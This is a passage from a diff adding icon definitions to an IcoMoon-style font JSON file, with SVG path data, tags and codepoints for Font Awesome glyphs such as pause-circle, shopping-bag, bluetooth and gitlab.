9.714-134.286-149.143-18.857-21.143-101.143-21.143-101.143-21.143-82.857 0-119.429 62.857-119.429 101.143 0 38.857 15.429 86.857 188 144 264.571 88 274.286 202.857 274.286 308.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "scribd" + ], + "defaultCode": 62090, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "scribd", + "id": 594, + "order": 1450, + "prevSize": 28, + "code": 62090 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 594 + }, + { + "icon": { + "paths": [ + "M402.286 676.571v-329.143c0-10.286-8-18.286-18.286-18.286h-146.286c-10.286 0-18.286 8-18.286 18.286v329.143c0 10.286 8 18.286 18.286 18.286h146.286c10.286 0 18.286-8 18.286-18.286zM658.286 676.571v-329.143c0-10.286-8-18.286-18.286-18.286h-146.286c-10.286 0-18.286 8-18.286 18.286v329.143c0 10.286 8 18.286 18.286 18.286h146.286c10.286 0 18.286-8 18.286-18.286zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pause-circle" + ], + "defaultCode": 62091, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pause-circle", + "id": 595, + "order": 1451, + "prevSize": 28, + "code": 62091 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 595 + }, + { + "icon": { + "paths": [ + "M438.857 73.143c242.286 0 438.857 196.571 438.857 438.857s-196.571 438.857-438.857 438.857-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857zM438.857 822.857c171.429 0 310.857-139.429 310.857-310.857s-139.429-310.857-310.857-310.857-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857zM493.714 694.857c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v329.143c0 10.286-8 18.286-18.286 18.286h-109.714zM274.286 694.857c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v329.143c0 10.286-8 18.286-18.286 18.286h-109.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pause-circle-o" + ], + "defaultCode": 62092, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pause-circle-o", + "id": 596, + "order": 1452, + "prevSize": 28, + "code": 62092 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 596 + }, + { + "icon": { + "paths": [ + "M621.714 676.571v-329.143c0-10.286-8-18.286-18.286-18.286h-329.143c-10.286 0-18.286 8-18.286 18.286v329.143c0 10.286 8 18.286 18.286 18.286h329.143c10.286 0 18.286-8 18.286-18.286zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stop-circle" + ], + "defaultCode": 62093, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stop-circle", + "id": 597, + "order": 1453, + "prevSize": 28, + "code": 62093 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 597 + }, + { + "icon": { + "paths": [ + "M438.857 73.143c242.286 0 438.857 196.571 438.857 438.857s-196.571 438.857-438.857 438.857-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857zM438.857 822.857c171.429 0 310.857-139.429 310.857-310.857s-139.429-310.857-310.857-310.857-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857zM274.286 694.857c-10.286 0-18.286-8-18.286-18.286v-329.143c0-10.286 8-18.286 18.286-18.286h329.143c10.286 0 18.286 8 18.286 18.286v329.143c0 10.286-8 18.286-18.286 18.286h-329.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stop-circle-o" + ], + "defaultCode": 62094, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stop-circle-o", + "id": 598, + "order": 1454, + "prevSize": 28, + "code": 62094 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 598 + }, + { + "icon": { + "paths": [ + "M1004 804.571l20 178.857c1.143 10.286-2.286 20.571-9.143 28.571-6.857 7.429-17.143 12-27.429 12h-950.857c-10.286 0-20.571-4.571-27.429-12-6.857-8-10.286-18.286-9.143-28.571l20-178.857h984zM950.857 325.143l49.143 442.857h-976l49.143-442.857c2.286-18.286 17.714-32.571 36.571-32.571h146.286v73.143c0 40.571 32.571 73.143 73.143 73.143s73.143-32.571 73.143-73.143v-73.143h219.429v73.143c0 40.571 32.571 73.143 73.143 73.143s73.143-32.571 73.143-73.143v-73.143h146.286c18.857 0 34.286 14.286 36.571 32.571zM731.429 219.429v146.286c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571v-146.286c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286v146.286c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571v-146.286c0-121.143 98.286-219.429 219.429-219.429s219.429 98.286 219.429 219.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shopping-bag" + ], + "defaultCode": 62096, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "shopping-bag", + "id": 599, + "order": 1455, + "prevSize": 28, + "code": 62096 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 599 + }, + { + "icon": { + "paths": [ + "M1097.143 438.857c40.571 0 73.143 32.571 73.143 73.143s-32.571 73.143-73.143 73.143h-8.571l-65.714 378.286c-6.286 34.857-36.571 60.571-72 60.571h-731.429c-35.429 0-65.714-25.714-72-60.571l-65.714-378.286h-8.571c-40.571 0-73.143-32.571-73.143-73.143s32.571-73.143 73.143-73.143h1024zM277.143 896c20-1.714 35.429-19.429 33.714-39.429l-18.286-237.714c-1.714-20-19.429-35.429-39.429-33.714s-35.429 19.429-33.714 39.429l18.286 237.714c1.714 18.857 17.714 33.714 36.571 33.714h2.857zM512 859.429v-237.714c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571v237.714c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571zM731.429 859.429v-237.714c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571v237.714c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571zM932.571 862.286l18.286-237.714c1.714-20-13.714-37.714-33.714-39.429s-37.714 13.714-39.429 33.714l-18.286 237.714c-1.714 20 13.714 37.714 33.714 39.429h2.857c18.857 0 34.857-14.857 36.571-33.714zM272 166.857l-53.143 235.429h-75.429l57.714-252c14.857-66.857 73.714-113.714 142.286-113.714h95.429c0-20 16.571-36.571 36.571-36.571h219.429c20 0 36.571 16.571 36.571 36.571h95.429c68.571 0 127.429 46.857 142.286 113.714l57.714 252h-75.429l-53.143-235.429c-8-33.714-37.143-57.143-71.429-57.143h-95.429c0 20-16.571 36.571-36.571 36.571h-219.429c-20 0-36.571-16.571-36.571-36.571h-95.429c-34.286 0-63.429 23.429-71.429 57.143z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shopping-basket" + ], + "defaultCode": 62097, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "shopping-basket", + "id": 600, + "order": 1456, + "prevSize": 28, + "code": 62097 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 600 + }, + { + "icon": { + "paths": [ + "M566.286 585.143l36.571-146.286h-145.143l-36.571 146.286h145.143zM1005.143 297.143l-32 128c-2.286 8-9.143 13.714-17.714 13.714h-186.857l-36.571 146.286h177.714c5.714 0 10.857 2.857 14.286 6.857 3.429 4.571 5.143 10.286 3.429 16l-32 128c-1.714 8-9.143 13.714-17.714 13.714h-186.857l-46.286 187.429c-2.286 8-9.714 13.714-17.714 13.714h-128c-5.714 0-11.429-2.857-14.857-6.857-3.429-4.571-4.571-10.286-3.429-16l44.571-178.286h-145.143l-46.286 187.429c-2.286 8-9.714 13.714-17.714 13.714h-128.571c-5.143 0-10.857-2.857-14.286-6.857-3.429-4.571-4.571-10.286-3.429-16l44.571-178.286h-177.714c-5.714 0-10.857-2.857-14.286-6.857-3.429-4.571-4.571-10.286-3.429-16l32-128c2.286-8 9.143-13.714 17.714-13.714h186.857l36.571-146.286h-177.714c-5.714 0-10.857-2.857-14.286-6.857-3.429-4.571-5.143-10.286-3.429-16l32-128c1.714-8 9.143-13.714 17.714-13.714h186.857l46.286-187.429c2.286-8 9.714-13.714 18.286-13.714h128c5.143 0 10.857 2.857 14.286 6.857 3.429 4.571 4.571 10.286 3.429 16l-44.571 178.286h145.143l46.286-187.429c2.286-8 9.714-13.714 18.286-13.714h128c5.143 0 10.857 2.857 14.286 6.857 3.429 4.571 4.571 10.286 3.429 16l-44.571 178.286h177.714c5.714 0 10.857 2.857 14.286 6.857 3.429 4.571 4.571 10.286 3.429 16z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hashtag" + ], + "defaultCode": 62098, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hashtag", + "id": 601, + "order": 1457, + "prevSize": 28, + "code": 62098 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 601 + }, + { + "icon": { + "paths": [ + "M480.571 601.714l84.571 84.571-85.143 85.143zM480 252.571l85.143 85.143-84.571 84.571-0.571-169.714zM405.714 952l265.143-265.143-174.857-174.857 174.857-174.857-265.143-265.143v349.143l-145.714-145.714-53.143 53.143 182.857 183.429-182.857 183.429 53.143 53.143 145.714-145.714v349.143zM816.571 512c0 405.714-154.286 512-377.714 512v0c-223.429 0-377.714-106.286-377.714-512s154.286-512 377.714-512 377.714 106.286 377.714 512z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bluetooth" + ], + "defaultCode": 62099, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bluetooth", + "id": 602, + "order": 1458, + "prevSize": 28, + "code": 62099 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 602 + }, + { + "icon": { + "paths": [ + "M340.571 813.143l98.857-98.286-98.857-98.286v196.571zM340.571 407.429l98.857-98.286-98.857-98.286v196.571zM358.857 512l203.429 203.429-308 308.571v-406.286l-169.714 169.143-61.714-61.714 212.571-213.143-212.571-213.143 61.714-61.714 169.714 169.143v-406.286l308 308.571z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bluetooth-b" + ], + "defaultCode": 62100, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bluetooth-b", + "id": 603, + "order": 1459, + "prevSize": 28, + "code": 62100 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 603 + }, + { + "icon": { + "paths": [ + "M731.429 731.429c0-40-33.143-73.143-73.143-73.143s-73.143 33.143-73.143 73.143 33.143 73.143 73.143 73.143 73.143-33.143 73.143-73.143zM292.571 292.571c0-40-33.143-73.143-73.143-73.143s-73.143 33.143-73.143 73.143 33.143 73.143 73.143 73.143 73.143-33.143 73.143-73.143zM877.714 731.429c0 121.143-98.286 219.429-219.429 219.429s-219.429-98.286-219.429-219.429 98.286-219.429 219.429-219.429 219.429 98.286 219.429 219.429zM822.857 109.714c0 8-2.857 15.429-7.429 21.714l-603.429 804.571c-6.857 9.143-17.714 14.857-29.143 14.857h-91.429c-20 0-36.571-16.571-36.571-36.571 0-8 2.857-15.429 7.429-21.714l603.429-804.571c6.857-9.143 17.714-14.857 29.143-14.857h91.429c20 0 36.571 16.571 36.571 36.571zM438.857 292.571c0 121.143-98.286 219.429-219.429 219.429s-219.429-98.286-219.429-219.429 98.286-219.429 219.429-219.429 219.429 98.286 219.429 219.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "percent" + ], + "defaultCode": 62101, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "percent", + "id": 604, + "order": 1460, + "prevSize": 28, + "code": 62101 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 604 + }, + { + "icon": { + "paths": [ + "M59.429 403.429l452.571 580-496-360c-13.714-10.286-19.429-28-14.286-44l57.714-176zM323.429 403.429h377.143l-188.571 580zM210.286 53.714l113.143 349.714h-264l113.143-349.714c6.286-17.714 31.429-17.714 37.714 0zM964.571 403.429l57.714 176c5.143 16-0.571 33.714-14.286 44l-496 360 452.571-580zM964.571 403.429h-264l113.143-349.714c6.286-17.714 31.429-17.714 37.714 0z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gitlab" + ], + "defaultCode": 62102, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gitlab", + "id": 605, + "order": 1461, + "prevSize": 28, + "code": 62102 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 605 + }, + { + "icon": { + "paths": [ + "M219.429 475.429h91.429v-128h-91.429v128zM697.714 665.143v-52.571c-49.143 17.143-89.714 21.143-138.857 21.714-110.286 0.571-208-45.143-274.286-96.571l0.571 54.857c62.286 56.571 157.714 101.143 276.571 100.571 49.714 0 96.571-10.286 136-28zM365.714 475.429h365.714v-128h-365.714v128zM1024 457.143c0 72.571-20.571 141.143-56.571 201.143 32 36.571 50.857 81.714 50.857 130.857 0 119.429-113.143 216.571-253.143 216.571-94.857 0-177.143-44.571-220.571-110.286-10.857 0.571-21.714 0.571-32.571 0.571s-21.714 0-32.571-0.571c-43.429 65.714-125.714 110.286-220.571 110.286-140 0-253.143-97.143-253.143-216.571 0-49.143 18.857-94.286 50.857-130.857-36-60-56.571-128.571-56.571-201.143 0-242.286 229.143-438.857 512-438.857s512 196.571 512 438.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wpbeginner" + ], + "defaultCode": 62103, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wpbeginner", + "id": 606, + "order": 1462, + "prevSize": 28, + "code": 62103 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 606 + }, + { + "icon": { + "paths": [ + "M294.286 520.571v73.143h-144v-73.143h144zM294.286 374.857v72.571h-144v-72.571h144zM727.429 666.857v73.143h-194.857v-73.143h194.857zM727.429 520.571v73.143h-384v-73.143h384zM727.429 374.857v72.571h-384v-72.571h384zM804.571 866.286v-708.571c0-6.286-5.143-11.429-11.429-11.429h-18.286l-216 146.286-120-97.714-120 97.714-216-146.286h-18.286c-6.286 0-11.429 5.143-11.429 11.429v708.571c0 6.286 5.143 11.429 11.429 11.429h708.571c6.286 0 11.429-5.143 11.429-11.429zM316 232l105.714-85.714h-232zM561.714 232l126.286-85.714h-232zM877.714 157.714v708.571c0 46.857-37.714 84.571-84.571 84.571h-708.571c-46.857 0-84.571-37.714-84.571-84.571v-708.571c0-46.857 37.714-84.571 84.571-84.571h708.571c46.857 0 84.571 37.714 84.571 84.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wpforms" + ], + "defaultCode": 62104, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wpforms", + "id": 607, + "order": 1463, + "prevSize": 28, + "code": 62104 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 607 + }, + { + "icon": { + "paths": [ + "M512 466.286c-72.571-137.143-139.429-270.857-329.714-361.143-113.714-53.714-12 21.143-12 21.143 103.429 71.429 150.857 168 206.286 273.714 72 137.714 180.571 319.429 329.714 383.429 148.571 64 78.286 28.571 13.714-19.429-64.571-48.571-156-198.857-208-297.714zM313.714 776.571c-206.286-163.429-194.857-358.857-313.714-776.571 1092 0 838.286 725.143 839.429 837.143l184.571 186.857h-59.429l-160.571-162.857c-89.143 9.714-284.571 78.857-490.286-84.571z" + ], + "width": 1092.022857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "envira" + ], + "defaultCode": 62105, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "envira", + "id": 608, + "order": 1464, + "prevSize": 28, + "code": 62105 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 608 + }, + { + "icon": { + "paths": [ + "M785.143 375.429c-4.571-19.429-24-31.429-44-26.857-81.714 19.429-156 35.429-229.143 35.429s-147.429-16-229.143-35.429c-20-4.571-39.429 7.429-44 26.857-4.571 20 7.429 39.429 26.857 44 60.571 14.286 117.143 26.857 173.143 33.143-2.286 193.143-23.429 246.857-47.429 308.571l-5.143 12c-7.429 18.857 2.286 40 21.143 47.429 4 1.714 8.571 2.286 13.143 2.286 14.857 0 28.571-8.571 34.286-23.429l4.571-11.429c16-41.143 30.857-79.429 40.571-148h24c9.714 68.571 24.571 106.857 40.571 148l4.571 11.429c5.714 14.857 19.429 23.429 34.286 23.429 4.571 0 9.143-0.571 13.143-2.286 18.857-7.429 28.571-28.571 21.143-47.429l-5.143-12c-24-61.714-45.143-115.429-47.429-308.571 56-6.286 112.571-18.857 173.143-33.143 19.429-4.571 31.429-24 26.857-44zM585.143 292.571c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM914.286 512c0 222.286-180 402.286-402.286 402.286s-402.286-180-402.286-402.286 180-402.286 402.286-402.286 402.286 180 402.286 402.286zM512 73.143c-241.714 0-438.857 197.143-438.857 438.857s197.143 438.857 438.857 438.857 438.857-197.143 438.857-438.857-197.143-438.857-438.857-438.857zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512v0c282.857 0 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "universal-access" + ], + "defaultCode": 62106, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "universal-access", + "id": 609, + "order": 1465, + "prevSize": 28, + "code": 62106 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 609 + }, + { + "icon": { + "paths": [ + "M821.714 464.571c12 12.571 18.286 29.714 16.571 46.857l-25.143 314.857c-2.857 32-29.143 56-60.571 56-1.714 0-3.429 0-5.143-0.571-33.714-2.286-58.286-32-56-65.143l20-245.143-81.714 4.571c20 41.143 31.429 88 31.429 137.143 0 82.286-32 157.143-84.571 212.571l-78.286-78.286c32-35.429 52-82.857 52-134.286 0-110.857-89.714-200.571-200-200.571-52 0-98.857 20-134.857 52.571l-78.286-78.857c44-41.714 100-70.286 162.286-80.571l150.857-171.429-85.143-49.714-103.429 92c-25.143 22.857-63.429 20.571-85.714-4.571s-20-63.429 4.571-85.714l136.571-121.714c19.429-17.714 48-20.571 70.857-6.857 278.286 161.714 278.857 161.714 278.857 161.714 14.857 8.571 23.429 23.429 27.429 38.857 5.714 22.286 1.714 47.429-14.857 66.857l-117.143 132.571 212-11.429c17.714-1.143 34.857 5.143 47.429 18.286zM708.571 203.429c-56 0-101.714-45.143-101.714-101.714 0-56 45.714-101.714 101.714-101.714 56.571 0 102.286 45.714 102.286 101.714 0 56.571-45.714 101.714-102.286 101.714zM350.286 913.143c41.143 0 80-13.143 112-34.857l79.429 79.429c-52.571 41.714-119.429 66.286-191.429 66.286-172 0-311.429-139.429-311.429-310.857 0-72.571 24.571-138.857 66.286-192l79.429 79.429c-21.714 32-34.286 70.857-34.286 112.571 0 110.286 89.714 200 200 200z" + ], + "width": 878.8845714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wheelchair-alt" + ], + "defaultCode": 62107, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wheelchair-alt", + "id": 610, + "order": 1466, + "prevSize": 28, + "code": 62107 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 610 + }, + { + "icon": { + "paths": [ + "M502.857 685.714v91.429c0 10.286-8 18.286-18.286 18.286h-91.429c-10.286 0-18.286-8-18.286-18.286v-91.429c0-10.286 8-18.286 18.286-18.286h91.429c10.286 0 18.286 8 18.286 18.286zM649.143 402.286c0 81.143-56.571 113.143-98.286 136.571-29.714 17.143-48 28-48 46.286v18.286c0 10.286-8 18.286-18.286 18.286h-91.429c-10.286 0-18.286-8-18.286-18.286v-38.857c0-70.286 50.286-92.571 90.857-110.857 34.286-16 55.429-26.857 55.429-52.571 0-33.143-41.714-57.714-79.429-57.714-20 0-41.143 6.286-54.286 15.429-12.571 8.571-24.571 21.143-45.714 47.429-3.429 4.571-8.571 6.857-14.286 6.857-4 0-8-1.143-10.857-3.429l-61.714-46.857c-7.429-5.714-9.143-16.571-4-24.571 46.857-73.714 112.571-109.714 199.429-109.714v0c93.714 0 198.857 74.286 198.857 173.714zM438.857 146.286c-201.714 0-365.714 164-365.714 365.714s164 365.714 365.714 365.714 365.714-164 365.714-365.714-164-365.714-365.714-365.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857v0c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "question-circle-o" + ], + "defaultCode": 62108, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "question-circle-o", + "id": 611, + "order": 1467, + "prevSize": 28, + "code": 62108 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 611 + }, + { + "icon": { + "paths": [ + "M209.143 177.714c-49.143 0-89.143-40-89.143-89.143 0-48.571 40-88.571 89.143-88.571s88.571 40 88.571 88.571c0 49.143-39.429 89.143-88.571 89.143zM524 544.571c0 61.714-65.714 48-80.571 22.857l-209.714-250.286c-9.143-14.857-16-8-16-8s-4 4.571 2.286 12l69.714 79.429 0.571 202.286c-49.143 142.857-92 261.143-92 261.143-26.857 76.571-49.143 142.857-68.571 152-23.429 12-40.571 9.143-58.857 0.571-24-10.857-30.857-40-29.143-57.143 0 0 1.143-9.143 112.571-353.143l2.857-237.714-48.571 93.714 20 126.857c7.429 48-33.143 54.286-33.143 54.286-38.857 6.286-46.857-38.857-46.857-40l-26.286-170.857c120-216.571 120.571-217.714 120.571-217.714v0c9.143-13.714 29.714-19.429 64.571-19.429 30.857 0 50.286 9.143 61.143 22.857v0l242.286 297.714c3.429 2.286 5.714 5.714 8 9.714l1.714 1.714-0.571 0.571c2.857 5.143 4 10.857 4 16.571zM293.714 630.286c54.857 145.714 104 256 104 256 16.571 42.286 45.143 102.857 3.429 126.857-41.143 24-74.286-4-83.429-23.429v0h-0.571c-1.714-4.571-3.429-9.143-4.571-14.286l-70.857-200.571zM764.571 968.571c12 18.857 22.286 32.571 16 36.571-10.857 6.857-14.286-13.143-26.286-32.571 0 0-64.571-97.714-241.714-377.714 3.429 1.143 9.714-4 9.714-4s6.286-5.143 6.286-9.714c176 287.429 236 387.429 236 387.429z" + ], + "width": 809.1794285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "blind" + ], + "defaultCode": 62109, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "blind", + "id": 612, + "order": 1468, + "prevSize": 28, + "code": 62109 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 612 + }, + { + "icon": { + "paths": [ + "M288 568h97.714l-0.571-151.429zM874.286 511.429c0-63.429-36.571-110.286-112.571-110.286h-30.857v221.714h29.714c71.429 0 113.714-52 113.714-111.429zM546.286 296l0.571 432c0 10.857-8.571 19.429-18.857 19.429h-123.429c-10.286 0-18.857-8.571-18.857-19.429v-35.429h-166.286l-31.429 46.286c-3.429 5.143-9.714 8.571-16 8.571h-152.571c-16 0-25.143-17.714-15.429-30.286l317.714-432.571c3.429-5.143 9.143-8 15.429-8h189.714c10.857 0 19.429 8.571 19.429 19.429zM1018.857 511.429c0 150.286-109.714 236-257.143 236h-154.286c-10.857 0-19.429-8.571-19.429-19.429v-432c0-10.857 8.571-19.429 19.429-19.429h153.143c148.571 0 258.286 84.571 258.286 234.857zM1108 512c0 0 2.286 148.571-84.571 236h-29.143c77.714-92.571 79.429-236.571 79.429-236.571s1.143-113.143-77.143-234.286h24.571c84.571 96.571 86.857 234.857 86.857 234.857zM1213.143 512c0 0 2.286 148.571-85.143 236h-29.143c77.714-92.571 79.429-236.571 79.429-236.571s1.143-113.143-76.571-234.286h24.571c84.571 96.571 86.857 234.857 86.857 234.857zM1316.571 512c0 0 2.286 148.571-84.571 236h-29.143c77.143-92.571 78.857-236.571 78.857-236.571s1.143-113.143-76.571-234.286h24.571c84.571 96.571 86.857 234.857 86.857 234.857z" + ], + "width": 1313.1337142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "audio-description" + ], + "defaultCode": 62110, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "audio-description", + "id": 613, + "order": 1469, + "prevSize": 28, + "code": 62110 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 613 + }, + { + "icon": { + "paths": [ + "M352.571 965.143c0-13.714-30.286-110.857-36.571-133.714-3.429-14.286-4.571-37.714-15.429-48-7.429-6.857-19.429-8-29.143-8-26.857 0-53.714 6.286-80.571 6.286-8 0-20-0.571-26.857-6.286-9.143-7.429-13.714-33.143-17.143-44.571-13.714-47.429-21.143-96-21.143-145.714s7.429-98.286 21.143-145.714c3.429-11.429 8-37.143 17.143-44.571 6.857-5.714 18.857-6.286 26.857-6.286 26.857 0 53.714 6.286 80.571 6.286 9.714 0 21.714-1.143 29.143-8 10.857-10.286 12-33.714 15.429-48 6.286-22.857 36.571-120 36.571-133.714 0-19.429-51.429-48-68-54.286-8.571-3.429-17.143-4.571-25.714-4.571-18.857 0-37.714 5.143-56 10.286-93.714 28-116 85.143-153.143 165.714-40 86.286-49.714 168.571-49.714 262.857s9.714 176.571 49.714 262.857c37.143 80.571 59.429 137.714 153.143 165.714 18.286 5.143 37.143 10.286 56 10.286 8.571 0 17.143-1.143 25.714-4.571 16.571-6.286 68-34.857 68-54.286zM443.429 443.429c-9.714 0-18.857-4-25.714-10.857-14.286-14.286-14.857-37.714 0-52 13.714-13.714 21.143-32 21.143-51.429s-7.429-37.714-21.143-52c-14.857-14.286-14.286-37.143 0-51.429s37.143-14.286 51.429 0c27.429 27.429 42.857 64.571 42.857 103.429s-15.429 76-42.857 103.429c-7.429 6.857-16.571 10.857-25.714 10.857zM546.857 546.857c-9.714 0-18.857-3.429-25.714-10.857-14.286-14.286-14.286-37.143 0-51.429 41.143-41.714 64-96.571 64-155.429s-22.857-113.714-64-155.429c-14.286-14.286-14.286-37.143 0-51.429s37.143-14.286 51.429 0c55.429 55.429 85.714 128.571 85.714 206.857s-30.286 151.429-85.714 206.857c-6.857 7.429-16.571 10.857-25.714 10.857zM650.286 650.286c-9.714 0-18.857-3.429-25.714-10.857-14.286-14.286-14.286-37.143 0-51.429 68.571-69.143 106.857-161.143 106.857-258.857s-38.286-189.714-106.857-258.857c-14.286-14.286-14.286-37.143 0-51.429s37.143-14.286 51.429 0c82.857 82.857 128.571 193.143 128.571 310.286s-45.714 227.429-128.571 310.286c-6.857 7.429-16.571 10.857-25.714 10.857z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume-control-phone" + ], + "defaultCode": 62112, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "volume-control-phone", + "id": 614, + "order": 1470, + "prevSize": 28, + "code": 62112 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 614 + }, + { + "icon": { + "paths": [ + "M109.714 676.571c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM402.286 676.571c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM402.286 384c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM841.143 676.571c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM1133.714 676.571c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM841.143 384c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM1133.714 384c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM1133.714 91.429c-50.286 0-91.429 41.143-91.429 91.429s41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429-41.143-91.429-91.429-91.429zM219.429 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 109.714zM512 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 109.714zM219.429 475.429c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM512 475.429c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 